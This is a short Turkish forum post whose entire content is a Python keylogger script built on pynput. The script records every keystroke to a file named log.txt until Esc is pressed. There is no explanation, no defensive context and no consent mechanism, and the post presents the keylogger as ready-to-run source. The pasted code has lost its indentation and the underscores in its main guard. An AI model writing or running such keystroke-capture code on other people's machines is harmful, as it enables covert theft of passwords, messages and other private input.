BankaiTensaZangetsu
Centipat
- Katılım
- 3 Kasım 2022
- Mesajlar
- 42
Daha fazla
- Cinsiyet
- Erkek
Kod:
import threading
import time
from pynput import keyboard
dosya_adi = "log.txt" # Log dosyası
def dosya_yaz(icerik):
try:
with open(dosya_adi, "a") as dosya:
dosya.write(icerik)
dosya.flush()
except Exception as e:
print("Hata:", e)
def on_press(key):
try:
if key == keyboard.Key.esc:
print("Program sonlandırıldı.")
return False
elif hasattr(key, 'char'):
dosya_yaz(key.char)
else:
dosya_yaz(''.join(['[', key.name, ']']))
time.sleep(0.5) # 0.5 saniyelik gecikme
except Exception as e:
print("Hata:", e)
def main():
try:
print("Dosya oluşturuldu: ", dosya_adi)
# Program başladığında log dosyasını temizle
dosya_temizle(dosya_adi)
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
except Exception as e:
print("Hata:", e)
def dosya_temizle(dosya_adi):
try:
with open(dosya_adi, "w") as dosya:
dosya.write("")
except Exception as e:
print(f"Hata ({dosya_adi}):", e)
if name == "main":
main()
Son düzenleyen: Moderatör: